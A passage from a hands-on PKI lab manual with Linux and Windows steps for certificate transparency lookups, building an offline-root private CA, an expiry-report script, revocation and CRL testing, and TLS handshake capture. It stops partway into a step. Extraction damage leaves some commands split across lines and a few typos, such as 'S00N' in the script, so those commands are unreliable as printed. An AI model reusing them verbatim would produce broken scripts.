subject=C=US, O=Internet Security Research Group, CN=ISRG Root X1
notAfter=Jun  4 11:04:38 2035 GMT
```

- 3 Note the other stores on the same machine. Firefox, Java and many language runtimes ship their own; a root trusted by the OS may be absent from them.

LINUX • OPENSSSL / BASH

```
ls ~/.mozilla/firefox/*/cert9.db 2>/dev/null
keytool -list -cacerts -storepass changeit 2>/dev/null | grep -c
trustedCertEntry
```

WINDOWS • POWERSHELL

```
Get-ChildItem Cert:\CurrentUser\Root | Measure-Object | Select-Object Count
# per-user additions
```

- 4 Read the embedded Signed Certificate Timestamps (SCTs): proof the certificate was logged before issuance.

LINUX • OPENSSSL / BASH

```
openssl x509 -in chains/site-1.pem -noout -text | grep -A6 'CT Precertificate
SCTs'
```

WINDOWS • POWERSHELL

```
($$.Extensions | ? { $_.Oid.Value -eq '1.3.6.1.4.1.11129.2.4.2'
}).Format($true) | Select-Object -First 12
```

EXPECTED OUTPUT

```
CT Precertificate SCTs:
  Signed Certificate Timestamp:
    Version    : v1 (0x0)
    Log ID     : ...
    Timestamp  : ...
```

- 5 Search a public CT log aggregator for a domain you own or use.

LINUX • OPENSSL / BASH

```
curl -s "https://crt.sh/?q=wikipedia.org&output=json" \  
  | jq -r '.[0:5][] | [.id, .not_before, .issuer_name, .name_value] | @tsv'
```

WINDOWS • POWERSHELL

```
Invoke-RestMethod "https://crt.sh/?q=wikipedia.org&output=json" | Select-  
Object -First 5 id, not_before, issuer_name, name_value | Format-Table -Wrap
```

6 Locate the exact leaf you downloaded by its serial number.

LINUX • OPENSSL / BASH

```
s=$(openssl x509 -in chains/site-1.pem -noout -serial | cut -d= -f2)  
echo "https://crt.sh/?serial=$s"
```

WINDOWS • POWERSHELL

```
"https://crt.sh/?serial=$(($x.SerialNumber))"
```

7 Inspect an automatically issued certificate: its lifetime and its validation level, which is recorded as a policy OID.

LINUX • OPENSSL / BASH

```
H=letsencrypt.org  
openssl s_client -connect $H:443 -servername $H </dev/null 2>/dev/null |  
openssl x509 -noout -issuer -dates -ext certificatePolicies
```

WINDOWS • POWERSHELL

```
$le = Get-RemoteCert letsencrypt.org  
$le | Format-List Issuer, NotBefore, NotAfter  
($le.Extensions | ? { $_.Oid.Value -eq '2.5.29.32' }).Format($true)
```

EXPECTED OUTPUT

```
issuer=C=US, O=Let's Encrypt, CN=<intermediate>  
notBefore=...    notAfter=...                (≈ 90 days or less)  
X509v3 Certificate Policies:  
    Policy: 2.23.140.1.2.1                (domain validated)
```

IF IT GOES WRONG

crt.sh times out or returns HTTP 502	It is a free, heavily used service. Retry later, narrow the query (exact hostname), or use the web interface.
ISRG_Root_X1.pem not found	File naming differs by distribution. List names with: <code>for f in /etc/ssl/certs/*.pem; do openssl x509 -in \$f -noout -subject; done grep -i isrg</code>
Windows shows the root only after you visit a site	Expected: automatic root update fetches roots from the Microsoft program list on first use.

CHECK YOUR WORK

1. Why can a certificate be trusted in Chrome on Windows but rejected by a Java application on the same machine?
2. What do the policy OIDs 2.23.140.1.2.1, 2.23.140.1.2.2 and 2.23.140.1.1 tell you about what the CA verified?
3. How does Certificate Transparency help a domain owner, and what does it not do?

Build a two-tier private CA

OBJECTIVE

Build the hierarchy you designed in Lab 13: an offline root, an issuing CA beneath it, published CRL and CA-certificate endpoints, the root distributed to a client, and one trusted server certificate issued end to end.

BEFORE YOU START

- Lab 13 design.
- VMs root01, ca01 and cli01 (Windows track also dc01 with AD DS for lab.test, ca01 domain-joined).
- A way to move files to root01 without networking it (shared folder you attach temporarily, or a virtual USB disk).
- Snapshot all VMs first.

STEPS

- 1 On root01, prepare the root CA database and configuration.

LINUX • OPENSSSL / BASH

```
cd ~/pki-lab/root-ca && mkdir -p newcerts private && chmod 700 private
touch index.txt && openssl rand -hex 16 > serial && echo 1000 > crlnumber
cat > root-ca.cnf <<'EOF'
[ req ]
distinguished_name = dn
prompt             = no
[ dn ]
O  = PKI Lab
CN = PKI Lab Root CA
[ ca ]
default_ca = root
[ root ]
dir                = .
database           = $dir/index.txt
serial             = $dir/serial
crlnumber          = $dir/crlnumber
new_certs_dir      = $dir/newcerts
certificate         = $dir/lab-root-ca.crt.pem
private_key        = $dir/private/lab-root-ca.key.pem
default_md         = sha384
default_days       = 1825
default_crl_days   = 180
policy             = pol_ca
unique_subject     = no
[ pol_ca ]
organizationName = match
commonName       = supplied
[ v3_root ]
basicConstraints    = critical, CA:TRUE
keyUsage           = critical, keyCertSign, cRLSign
subjectKeyIdentifier = hash
[ v3_int ]
basicConstraints    = critical, CA:TRUE, pathlen:0
keyUsage           = critical, keyCertSign, cRLSign
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid
crlDistributionPoints = URI:http://pki.lab.test/lab-root-ca.crl
authorityInfoAccess = caIssuers;URI:http://pki.lab.test/lab-root-ca.crt
EOF
```

WINDOWS • POWERSHELL

```
# root01: standalone Windows Server, NOT domain-joined
@'
[Version]
Signature = "$Windows NT$"
[Certificates_Server]
RenewalKeyLength = 4096
RenewalValidityPeriod = Years
RenewalValidityPeriodUnits = 10
CRLPeriod = Weeks
CRLPeriodUnits = 26
CRLDeltaPeriodUnits = 0
LoadDefaultTemplates = 0
'@ | Set-Content C:\Windows\CAPolicy.inf
Install-WindowsFeature ADCS-Cert-Authority -IncludeManagementTools
```

2 Create the root key (encrypted) and self-signed root certificate.

LINUX • OPENSSL / BASH

```
openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:P-384 -aes256 -out
private/lab-root-ca.key.pem
openssl req -config root-ca.cnf -x509 -new -key private/lab-root-ca.key.pem -
sha384 -days 3650 \
    -extensions v3_root -out lab-root-ca.crt.pem
openssl x509 -in lab-root-ca.crt.pem -noout -subject -dates -ext
basicConstraints
```

WINDOWS • POWERSHELL

```
Install-AdcsCertificationAuthority -CAType StandaloneRootCA -CACommonName 'PKI
Lab Root CA' -CADistinguishedNameSuffix 'O=PKI Lab' -CryptoProviderName
'RSA#Microsoft Software Key Storage Provider' -KeyLength 4096 -
HashAlgorithmName SHA256 -ValidityPeriod Years -ValidityPeriodUnits 10 -Force
certutil -setreg CA\DSConfigDN 'CN=Configuration,DC=lab,DC=test'
certutil -setreg CA\ValidityPeriodUnits 5
certutil -setreg CA\ValidityPeriod Years
certutil -setreg CA\CRLPublicationURLs
'1:C:\Windows\System32\CertSrv\CertEnroll\%3%8.crl;n2:http://pki.lab.test/%3%8
.crl'
certutil -setreg CA\CACertPublicationURLs '2:http://pki.lab.test/%1_%3%4.crt'
Restart-Service certsvc; certutil -crl
```

3 On ca01, create the issuing CA key and request.

LINUX • OPENSSL / BASH

```
cd ~/pki-lab/int-ca && mkdir -p newcerts private && chmod 700 private
touch index.txt && openssl rand -hex 16 > serial && echo 1000 > crlnumber
openssl req -new -newkey ec -pkeyopt ec_paramgen_curve:P-384 -keyout
private/lab-int-ca.key.pem \
    -subj "/O=PKI Lab/CN=PKI Lab Issuing CA 1" -out lab-int-ca.csr.pem
```

WINDOWS • POWERSHELL

```
# ca01 (domain-joined). First trust the root and publish it to the directory:
certutil -dspublish -f C:\pki-lab\certs\lab-root-ca.crt RootCA
certutil -addstore -f Root C:\pki-lab\certs\lab-root-ca.crt
certutil -addstore -f Root C:\pki-lab\crl\lab-root-ca.crl
Install-WindowsFeature ADCS-Cert-Authority -IncludeManagementTools
Install-AdcsCertificationAuthority -CAType EnterpriseSubordinateCA -
CACommonName 'PKI Lab Issuing CA 1' -KeyLength 3072 -HashAlgorithmName SHA256
-OutputCertRequestFile C:\pki-lab\csr\lab-int-ca.req -Force
```

- 4 Carry the request to root01 (attach the transfer disk, then detach it). Sign it with the root, and generate the root's first CRL.

LINUX • OPENSSL / BASH

```
cd ~/pki-lab/root-ca
openssl ca -config root-ca.cnf -extensions v3_int -days 1825 -notext \
    -in /media/transfer/lab-int-ca.csr.pem -out /media/transfer/lab-int-
ca.crt.pem
openssl ca -config root-ca.cnf -gencrl -out /media/transfer/lab-root-
ca.crl.pem
cp lab-root-ca.crt.pem /media/transfer/
```

WINDOWS • POWERSHELL

```
certreq -submit -config '.\PKI Lab Root CA' E:\lab-int-ca.req          # note
the RequestId
certutil -resubmit <RequestId>                                         #
approve it
certreq -retrieve -config '.\PKI Lab Root CA' <RequestId> E:\lab-int-ca.crt
Copy-Item C:\Windows\System32\CertSrv\CertEnroll\* E:\
```

EXPECTED OUTPUT • LINUX

```
Check that the request matches the signature
Signature ok
Certificate Details: ...
Sign the certificate? [y/n]:y
1 out of 1 certificate requests certified, commit? [y/n]y
Data Base Updated
```

-
- 5 Shut root01 down. It stays off except to sign issuing CAs and to refresh its CRL before nextUpdate (every ~6 months).
-
- 6 On ca01, install the issuing CA certificate and configure its issuance profiles.


```

cp /media/transfer/lab-int-ca.crt.pem /media/transfer/lab-root-ca.crt.pem .
cat > int-ca.cnf <<'EOF'
[ ca ]
default_ca = int
[ int ]
dir                = .
database           = $dir/index.txt
serial             = $dir/serial
crlnumber          = $dir/crlnumber
new_certs_dir      = $dir/newcerts
certificate         = $dir/lab-int-ca.crt.pem
private_key        = $dir/private/lab-int-ca.key.pem
default_md         = sha256
default_days       = 90
default_crl_days   = 7
policy             = pol_any
copy_extensions    = copy
unique_subject     = no
[ pol_any ]
commonName         = supplied
[ common ]
authorityKeyIdentifier = keyid
crlDistributionPoints = URI:http://pki.lab.test/lab-int-ca.crl
authorityInfoAccess  = caIssuers;URI:http://pki.lab.test/lab-int-ca.crt
[ server ]
basicConstraints    = critical, CA:FALSE
keyUsage            = critical, digitalSignature
extendedKeyUsage    = serverAuth
authorityKeyIdentifier = keyid
crlDistributionPoints = URI:http://pki.lab.test/lab-int-ca.crl
authorityInfoAccess  = caIssuers;URI:http://pki.lab.test/lab-int-ca.crt
[ client ]
basicConstraints    = critical, CA:FALSE
keyUsage            = critical, digitalSignature
extendedKeyUsage    = clientAuth
authorityKeyIdentifier = keyid
crlDistributionPoints = URI:http://pki.lab.test/lab-int-ca.crl
[ codesign ]
basicConstraints    = critical, CA:FALSE
keyUsage            = critical, digitalSignature
extendedKeyUsage    = codeSigning
authorityKeyIdentifier = keyid
crlDistributionPoints = URI:http://pki.lab.test/lab-int-ca.crl

```

```
EOF
openssl verify -CAfile lab-root-ca.crt.pem lab-int-ca.crt.pem
```

WINDOWS • POWERSHELL

```
certutil -installcert E:\lab-int-ca.crt
Start-Service certsvc
certutil -setreg CA\CRLPublicationURLs
'65:C:\Windows\System32\CertSrv\CertEnroll\%3%8%9.crl\n6:http://pki.lab.test/%
3%8%9.crl'
certutil -setreg CA\CACertPublicationURLs '2:http://pki.lab.test/%1_%3%4.crt'
Restart-Service certsvc; certutil -crl
```

EXPECTED OUTPUT • LINUX

```
lab-int-ca.crt.pem: OK
```

- 7 Publish CA certificates and CRLs at <http://pki.lab.test/> (ca01 answers to that name from the hosts file).

LINUX • OPENSLL / BASH

```
mkdir -p ~/pki-lab/pub
openssl ca -config int-ca.cnf -gencrl -out ../crl/lab-int-ca.crl.pem
openssl crl -in ../crl/lab-int-ca.crl.pem -outform DER -out ~/pki-lab/pub/lab-
int-ca.crl
openssl crl -in /media/transfer/lab-root-ca.crl.pem -outform DER -out ~/pki-
lab/pub/lab-root-ca.crl
openssl x509 -in lab-int-ca.crt.pem -outform DER -out ~/pki-lab/pub/lab-int-
ca.crt
openssl x509 -in lab-root-ca.crt.pem -outform DER -out ~/pki-lab/pub/lab-root-
ca.crt
sudo python3 -m http.server 80 --directory ~/pki-lab/pub &
curl -sI http://pki.lab.test/lab-int-ca.crl | head -1
```

WINDOWS • POWERSHELL

```
Install-WindowsFeature Web-Server -IncludeManagementTools
Copy-Item E:\*.crl, E:\*.crt C:\inetpub\wwwroot\
Copy-Item C:\Windows\System32\CertSrv\CertEnroll\* C:\inetpub\wwwroot\
Set-WebConfigurationProperty -Filter
/system.webServer/security/requestFiltering -Name allowDoubleEscaping -Value
True
(Invoke-WebRequest http://pki.lab.test/ -UseBasicParsing).StatusCode
```

EXPECTED OUTPUT • LINUX

```
HTTP/1.0 200 OK
```

8 Distribute the root to cli01's trust store.

LINUX • OPENSLL / BASH

```
sudo cp lab-root-ca.crt.pem /usr/local/share/ca-certificates/pki-lab-root.crt
sudo update-ca-certificates
```

WINDOWS • POWERSHELL

```
# Domain members receive it automatically from certutil -dspublish (gpupdate
/force to hurry it)
# Non-domain clients:
Import-Certificate C:\pki-lab\certs\lab-root-ca.crt -CertStoreLocation
Cert:\LocalMachine\Root
```

EXPECTED OUTPUT • LINUX

```
Updating certificates in /etc/ssl/certs...
1 added, 0 removed; done.
```

9 Issue a server certificate end to end: CSR on web01 (as in Lab 10), signed by the issuing CA, then assembled into a full chain.

LINUX • OPENSLL / BASH

```
# on ca01, with web01's CSR copied to ~/pki-lab/csr/
openssl ca -config int-ca.cnf -extensions server -notext -in
../csr/www.lab.test.csr.pem -out ../certs/www.lab.test.crt.pem
cat ../certs/www.lab.test.crt.pem lab-int-ca.crt.pem >
../chains/www.lab.test.fullchain.pem
```

WINDOWS • POWERSHELL

```
certreq -submit -config 'ca01.lab.test\PKI Lab Issuing CA 1' -attrib
'CertificateTemplate:WebServer' C:\pki-lab\csr\www.lab.test.csr.pem C:\pki-
lab\certs\www.lab.test.crt.pem
# on web01:
certreq -accept -machine C:\pki-lab\certs\www.lab.test.crt.pem
```

10 On cli01, verify with the system store only — including revocation fetched from the published CRL.

LINUX • OPENSSL / BASH

```
openssl verify -untrusted lab-int-ca.crt.pem -purpose sslserver -  
verify_hostname www.lab.test www.lab.test.crt.pem  
openssl verify -crl_check -crl_download -untrusted lab-int-ca.crt.pem  
www.lab.test.crt.pem
```

WINDOWS • POWERSHELL

```
certutil -verify -urlfetch C:\pki-lab\certs\www.lab.test.crt.pem | Select-  
String 'revocation check passed|completed|ERROR'
```

EXPECTED OUTPUT

```
www.lab.test.crt.pem: OK  
www.lab.test.crt.pem: OK
```

11 Snapshot every VM as pki-built.

IF IT GOES WRONG

openssl ca: "The organizationName field is different"	pol_ca requires O to match the root. Use exactly /O=PKI Lab in the issuing CA request.
certutil -verify: "The revocation function was unable to check revocation because the revocation server was offline"	The CDP URL in the certificate is unreachable. Check name resolution for pki.lab.test and that the CRL file name matches the URL exactly.
IIS returns 404 for the delta CRL (name contains +)	Request filtering blocks double escaping. Set allowDoubleEscaping = True (step 7).
Install-AdcsCertificationAuthority fails on ca01	The root certificate or its CRL is not trusted on ca01. Re-run the certutil -addstore lines and confirm with certutil -verify on the root certificate.
Client verify fails after update-ca-certificates	The file in /usr/local/share/ca-certificates must end in .crt and be PEM. Rename and re-run.

CHECK YOUR WORK

1. Which step in this lab would you most want witnesses and a written record for in production, and why?

2. Why does the issuing CA's certificate carry a CRL Distribution Point pointing to the root's CRL?
3. What happens to relying parties when the root CRL passes its nextUpdate and root01 has not been powered on to renew it?

Inventory certificates and report expiry

OBJECTIVE

Build an inventory of the certificates in your lab — on endpoints and on disk or in stores — and a script that reports those approaching expiry.

BEFORE YOU START

- Lab 15 complete (the issuing CA can issue).
- At least two TLS endpoints running (s_server or IIS from earlier labs, plus a public site).

STEPS

1 Create an endpoints file.

BOTH TRACKS

```
# notes/endpoints.txt
www.lab.test:443
www.lab.test:8443
badssl.com:443
expired.badssl.com:443
```

2 Plant a certificate that will expire soon so the report has something to find.

LINUX • OPENSSL / BASH

```
cd ~/pki-lab/int-ca
openssl req -new -newkey ec -pkeyopt ec_paramgen_curve:P-256 -noenc -keyout
../keys/soon.lab.test.key.pem \
  -subj /CN=soon.lab.test -addext subjectAltName=DNS:soon.lab.test -out
../csr/soon.lab.test.csr.pem
openssl ca -config int-ca.cnf -batch -extensions server -days 7 -notext -in
../csr/soon.lab.test.csr.pem -out ../certs/soon.lab.test.crt.pem
```

WINDOWS • POWERSHELL

```
New-SelfSignedCertificate -DnsName soon.lab.test -NotAfter (Get-
Date).AddDays(7) -CertStoreLocation Cert:\LocalMachine\My | Out-Null
```

3 Write the expiry report script.

LINUX • OPENSSL / BASH

```
cat > ~/pki-lab/expiry-report.sh <<'EOF'
#!/usr/bin/env bash
# usage: expiry-report.sh <endpoints-file> [days]
DAYS=$2; [ -z "$DAYS" ] && DAYS=30
report() { # $1=source $2=pem
    end=$(openssl x509 -noout -enddate <<<"$2" | cut -d= -f2)
    subj=$(openssl x509 -noout -subject -nameopt RFC2253 <<<"$2" | cut -d= -f2-)
    if ! openssl x509 -noout -checkend 0 <<<"$2" >/dev/null; then s=EXPIRED
    elif ! openssl x509 -noout -checkend $((DAYS*86400)) <<<"$2" >/dev/null;
then s=S00N
    else s=OK; fi
    printf '%-34s %-8s %-26s %s\n' "$1" "$s" "$end" "$subj"
}
printf '%-34s %-8s %-26s %s\n' SOURCE STATUS NOT_AFTER SUBJECT
while read -r ep; do
    case "$ep" in ''|'#'*) continue;; esac
    host=$(cut -d: -f1 <<<"$ep")
    pem=$(timeout 5 openssl s_client -connect "$ep" -servername "$host"
</dev/null 2>/dev/null | openssl x509 2>/dev/null)
    if [ -z "$pem" ]; then printf '%-34s %-8s\n' "$ep" UNREACH; else report
"$ep" "$pem"; fi
done < "$1"
for f in ~/pki-lab/certs/*.crt.pem; do report "file:$(basename $f)" "$(cat
$f)"; done
EOF
chmod +x ~/pki-lab/expiry-report.sh
```

WINDOWS • POWERSHELL

```
@'
param([string]$Endpoints = 'C:\pki-lab\notes\endpoints.txt', [int]$Days = 30)
$now = Get-Date
function Status($na) { if ($na -lt $now) { 'EXPIRED' } elseif ($na -lt
$now.AddDays($Days)) { 'SOON' } else { 'OK' } }
$rows = foreach ($ep in Get-Content $Endpoints | Where-Object { $_ -and $_ -
notmatch '^#' }) {
    $h, $p = $ep -split ':'
    try { $c = Get-RemoteCert $h ([int]$p) }
    catch { [pscustomobject]@{ Source = $ep; Status = 'UNREACH' }; continue }
    [pscustomobject]@{ Source = $ep; Status = Status $c.NotAfter; NotAfter =
$c.NotAfter; Subject = $c.Subject }
}
$rows += Get-ChildItem Cert:\LocalMachine\My | ForEach-Object {
    [pscustomobject]@{ Source = 'store:' + $_.Thumbprint.Substring(0,8); Status
= Status $_.NotAfter; NotAfter = $_.NotAfter; Subject = $_.Subject } }
$rows | Sort-Object NotAfter | Format-Table -AutoSize
'@ | Set-Content C:\pki-lab\Get-CertExpiry.ps1
```

4 Run it.

LINUX • OPENSSL / BASH

```
~/pki-lab/expiry-report.sh ~/pki-lab/notes/endpoints.txt 30
```

WINDOWS • POWERSHELL

```
C:\pki-lab\Get-CertExpiry.ps1 -Days 30
```

EXPECTED OUTPUT

SOURCE	STATUS	NOT_AFTER	SUBJECT
www.lab.test:443 CN=www.lab.test	OK	...	
expired.badssl.com:443 CN=*.badssl.com,...	EXPIRED	Apr 12 23:59:59 2015 GMT	
file:soon.lab.test.crt.pem CN=soon.lab.test	SOON	...	
...			

5 Turn the output into an inventory: create notes/inventory.csv with one row per certificate and add the columns the script cannot discover.

BOTH TRACKS

```
source,subject,sans,issuer,not_after,key_alg,owner,renewal_method,depends_on
www.lab.test:443,CN=www.lab.test,"www.lab.test lab.test",PKI Lab Issuing CA
1,...,EC P-256,web-team>manual CSR,intranet portal
```

6 Schedule the report daily.

LINUX • OPENSSSL / BASH

```
( crontab -l 2>/dev/null; echo '0 7 * * * $HOME/pki-lab/expiry-report.sh
$HOME/pki-lab/notes/endpoints.txt 30 | grep -E "SOON|EXPIRED|UNREACH" | logger
-t cert-expiry' ) | crontab -
```

WINDOWS • POWERSHELL

```
$a = New-ScheduledTaskAction -Execute pwsh -Argument '-NoProfile -File C:\pki-
lab\Get-CertExpiry.ps1'
Register-ScheduledTask -TaskName 'Cert expiry report' -Action $a -Trigger
(New-ScheduledTaskTrigger -Daily -At 7am) -User SYSTEM
```

IF IT GOES WRONG

Every endpoint reports UNREACH	Firewall, name resolution or wrong port. Test one by hand with openssl s_client -connect host:port.
Windows scheduled task finds no Get-RemoteCert	The task runs without your profile. Dot-source the function at the top of the script instead of relying on \$PROFILE.
A certificate appears twice	The same certificate is deployed in two places — which is inventory information, not a bug. Keep both rows: each is a deployment that must be renewed.

CHECK YOUR WORK

1. Your scanner found everything on the endpoints list. Name two places certificates hide that it would never see.
2. Why do the owner and depends_on columns matter as much as not_after?
3. For soon.lab.test, would you rekey or just reissue on renewal? Justify.

Revoke a certificate and prove clients reject it

OBJECTIVE

Revoke a certificate in the lab issuing CA, publish a fresh CRL, and confirm that a client performing revocation checking rejects it — then see why caching and soft-fail make revocation quieter than you expect.

BEFORE YOU START

- Lab 15 complete; <http://pki.lab.test/> serving CRLs.
- Snapshot ca01 and cli01.

STEPS

- 1 Issue a certificate that you are going to revoke.

LINUX • OPENSLL / BASH

```
cd ~/pki-lab/int-ca
openssl req -new -newkey ec -pkeyopt ec_paramgen_curve:P-256 -noenc -keyout
../keys/revoke.lab.test.key.pem \
    -subj /CN=revoke.lab.test -addext subjectAltName=DNS:revoke.lab.test -out
../csr/revoke.lab.test.csr.pem
openssl ca -config int-ca.cnf -batch -extensions server -notext -in
../csr/revoke.lab.test.csr.pem -out ../certs/revoke.lab.test.crt.pem
openssl x509 -in ../certs/revoke.lab.test.crt.pem -noout -serial
```

WINDOWS • POWERSHELL

```
$v = Get-Certificate -Template WebServer -SubjectName CN=revoke.lab.test -
DnsName revoke.lab.test -CertStoreLocation Cert:\LocalMachine\My -Url ldap:
$v.Certificate.SerialNumber
Export-Certificate -Cert $v.Certificate -FilePath C:\pki-
lab\certs\revoke.lab.test.crt.der | Out-Null
```

- 2 Confirm it validates, including a revocation check, before you revoke it.

LINUX • OPENSLL / BASH

```
openssl verify -crl_check -crl_download -untrusted lab-int-ca.crt.pem
../certs/revoke.lab.test.crt.pem
```

WINDOWS • POWERSHELL

```
certutil -verify -urlfetch C:\pki-lab\certs\revoke.lab.test.crt.der | Select-String 'revocation check passed'
```

EXPECTED OUTPUT • LINUX

```
../certs/revoke.lab.test.crt.pem: OK
```

3 Revoke it with a reason code. Look at how the CA records the revocation.

LINUX • OPENSSL / BASH

```
openssl ca -config int-ca.cnf -revoke ../certs/revoke.lab.test.crt.pem -  
crl_reason keyCompromise  
grep revoke.lab.test index.txt
```

WINDOWS • POWERSHELL

```
# on ca01 – reason 1 = Key Compromise  
certutil -revoke <SerialNumber> 1  
certutil -view -restrict "SerialNumber=<SerialNumber>" -out  
"Request.RevokedWhen,Request.RevokedReason"
```

EXPECTED OUTPUT • LINUX

```
Revoking Certificate 1003.  
Data Base Updated  
R      251221...Z      250922...Z,keyCompromise 1003      unknown  
/CN=revoke.lab.test
```

4 Nothing has changed for clients yet. Publish a new CRL.

LINUX • OPENSSL / BASH

```
openssl ca -config int-ca.cnf -gencrl -out ../crl/lab-int-ca.crl.pem  
openssl crl -in ../crl/lab-int-ca.crl.pem -outform DER -out ~/pki-lab/pub/lab-  
int-ca.crl  
openssl crl -in ../crl/lab-int-ca.crl.pem -noout -lastupdate -nextupdate -  
crlnumber  
openssl crl -in ../crl/lab-int-ca.crl.pem -noout -text | grep -A3 'Serial  
Number'
```

WINDOWS • POWERSHELL

```
certutil -crl
Copy-Item C:\Windows\System32\CertSrv\CertEnroll\*.crl C:\inetpub\wwwroot\ -
Force
certutil -dump 'C:\Windows\System32\CertSrv\CertEnroll\PKI Lab Issuing CA
1.crl' | Select-String 'Serial Number|NextUpdate|Reason'
```

EXPECTED OUTPUT • LINUX

```
lastUpdate=...
nextUpdate=... (7 days later: default_crl_days)
crlNumber=1001
    Serial Number: 1003
        Revocation Date: ...
        X509v3 CRL Reason Code: Key Compromise
```

5 On cli01, validate again with revocation checking.

LINUX • OPENSSL / BASH

```
openssl verify -crl_check -crl_download -untrusted lab-int-ca.crt.pem
revoke.lab.test.crt.pem
```

WINDOWS • POWERSHELL

```
certutil -urlcache * delete | Out-Null      # flush cached CRLs first – see
step 6
certutil -verify -urlfetch C:\pki-lab\certs\revoke.lab.test.crt.der | Select-
String 'CRYPT_E_REVOKED|Revoked'
```

EXPECTED OUTPUT • LINUX

```
CN=revoke.lab.test
error 23 at 0 depth lookup: certificate revoked
error revoke.lab.test.crt.pem: verification failed
```

EXPECTED OUTPUT • WINDOWS

```
Certificate is REVOKED
... 0x80092010 (-2146885616 CRYPT_E_REVOKED)
```

6 Caching experiment (Windows track; Linux readers follow along). Revoke a second certificate, publish, and verify without flushing the cache. The client keeps using the CRL it already has until that CRL's nextUpdate.

WINDOWS • POWERSHELL

```
certutil -urlcache crl          # shows the cached CRL and its expiry
certutil -verify -urlfetch <second-cert> | Select-String 'revocation'
```

- 7 Soft-fail experiment: stop the CRL web server, then validate a good certificate with and without strict checking.

LINUX • OPENSLL / BASH

```
sudo pkill -f 'http.server 80'
openssl verify -crl_check -crl_download -untrusted lab-int-ca.crt.pem
www.lab.test.crt.pem      # strict: fails
curl -sI https://www.lab.test/ | head -1
# curl: no revocation check at all
```

WINDOWS • POWERSHELL

```
Stop-Service W3SVC; certutil -urlcache * delete | Out-Null
certutil -verify -urlfetch C:\pki-lab\certs\www.lab.test.crt.pem | Select-
String 'offline|0x80092013'
curl.exe -sI https://www.lab.test/                                #
schannel: best-effort, usually succeeds
Start-Service W3SVC
```

EXPECTED OUTPUT • LINUX

```
error 3 at 0 depth lookup: unable to get certificate CRL
```

EXPECTED OUTPUT • WINDOWS

```
... 0x80092013 (-2146885613 CRYPT_E_REVOCATION_OFFLINE)
```

- 8 Optional — OCSP. Run a lab responder and query it (production CAs use a dedicated OCSP signing certificate, not the CA key).

LINUX • OPENSLL / BASH

```
openssl ocsp -index index.txt -port 2560 -rsigner lab-int-ca.crt.pem -rkey
private/lab-int-ca.key.pem -CA lab-int-ca.crt.pem -nmin 60 &
openssl ocsp -issuer lab-int-ca.crt.pem -cert ../certs/revoke.lab.test.crt.pem
-url http://127.0.0.1:2560 -CAfile lab-root-ca.crt.pem
kill %1
```

EXPECTED OUTPUT • LINUX

```
Response verify OK
../certs/revoke.lab.test.crt.pem: revoked
  This Update: ...
  Reason: keyCompromise
```

IF IT GOES WRONG

Client still says OK after revocation	You did not publish, the client has a cached CRL (Windows), or -crl_check was omitted. Check the served CRL's crlNumber and lastUpdate.
error 3: unable to get certificate CRL	The CDP URL is unreachable or wrong. curl the exact URL from the certificate's crlDistributionPoints.
openssl ca -revoke: "ERROR:Already revoked"	It is. Check index.txt; the next step is simply to publish.
error 12: CRL has expired	The published CRL passed nextUpdate. Regenerate and republish it — then put CRL publishing on a schedule shorter than default_crl_days.

CHECK YOUR WORK

1. Between steps 3 and 4, was the certificate revoked? Explain from the relying party's point of view.
2. Why did curl in step 7 succeed while openssl verify failed? Which behaviour is safer, and which is more common?
3. Your CRL is published weekly and a key is stolen on day 1 of the cycle. What is the worst-case exposure window for Windows clients that already cached the CRL, and how could you shorten it?

Certificates in Use

TLS, servers, clients, email, code, the enterprise directory, networks, devices and the cloud.

Labs 18–23

LAB 18 Chapter 18 • 75 min

Read a TLS handshake and trigger four failures

OBJECTIVE

Capture and read a full TLS handshake, then deliberately trigger and diagnose an expired certificate, a name mismatch, a missing intermediate and an untrusted root — plus a protocol mismatch — naming the exact check each fails.

BEFORE YOU START

- Snapshot web01 and cli01.
- www.lab.test certificate, key and lab-int-ca.crt.pem from Lab 15 on web01.
- api.lab.test in cli01's hosts file pointing to web01.
- Wireshark or tshark on cli01.

STEPS

- 1 On web01, serve the correct certificate and its intermediate with openssl s_server.

BOTH TRACKS

```
sudo openssl s_server -accept 443 -www \
  -cert certs/www.lab.test.crt.pem -key keys/www.lab.test.key.pem -cert_chain
  int-ca/lab-int-ca.crt.pem
```

- 2 Watch the handshake messages from the client side, first with TLS 1.3, then forced to TLS 1.2.

BOTH TRACKS

```
openssl s_client -connect www.lab.test:443 -servername www.lab.test -msg -
tls1_3 </dev/null 2>&1 | grep -E '^(<<<|>>>)'
openssl s_client -connect www.lab.test:443 -servername www.lab.test -msg -
tls1_2 </dev/null 2>&1 | grep -E '^(<<<|>>>)'
```

EXPECTED OUTPUT

```
>>> TLS 1.3, Handshake [length 0137], ClientHello
<<< TLS 1.3, Handshake [length 007a], ServerHello
<<< TLS 1.3, Handshake [length 0017], EncryptedExtensions
<<< TLS 1.3, Handshake [length 0433], Certificate
<<< TLS 1.3, Handshake [length 004f], CertificateVerify
<<< TLS 1.3, Handshake [length 0034], Finished
>>> TLS 1.3, Handshake [length 0034], Finished
```

- 3 Capture on the wire and compare what an observer sees. In TLS 1.3 the Certificate message is encrypted; in TLS 1.2 it crosses in the clear.

LINUX • OPENSSL / BASH

```
sudo tcpdump -i any -w /tmp/tls.pcap host www.lab.test and port 443 &
curl -s -o /dev/null https://www.lab.test/; curl -s -o /dev/null --tls-max 1.2
https://www.lab.test/
sudo pkill tcpdump
tshark -r /tmp/tls.pcap -Y tls.handshake -T fields -e frame.number -e
tls.record.version -e tls.handshake.type
```

WINDOWS • POWERSHELL

```
# Wireshark: capture on the lab adapter, filter:  tls.handshake
curl.exe -s -o NUL https://www.lab.test/; curl.exe -s -o NUL --tls-max 1.2
https://www.lab.test/
```

EXPECTED OUTPUT

```
handshake types: 1 = ClientHello, 2 = ServerHello, 11 = Certificate, 12 =
ServerKeyExchange, 14 = ServerHelloDone
TLS 1.3 flow: 1, 2 then encrypted records      TLS 1.2 flow: 1, 2, 11, 12, 14
visible
```

- 4 Record a baseline success from the client.

LINUX • OPENSSL / BASH

```
curl -sv -o /dev/null https://www.lab.test/ 2>&1 | grep -E 'SSL
connection|subject|issuer|verify ok'
```

WINDOWS • POWERSHELL

```
curl.exe -sv -o NUL https://www.lab.test/ 2>&1 | Select-String
'schannel|HTTP/'
```

- 5 Failure 1 — expired. Move the client's clock past the leaf's notAfter (the leaf is valid 90 days).

LINUX • OPENSSSL / BASH

```
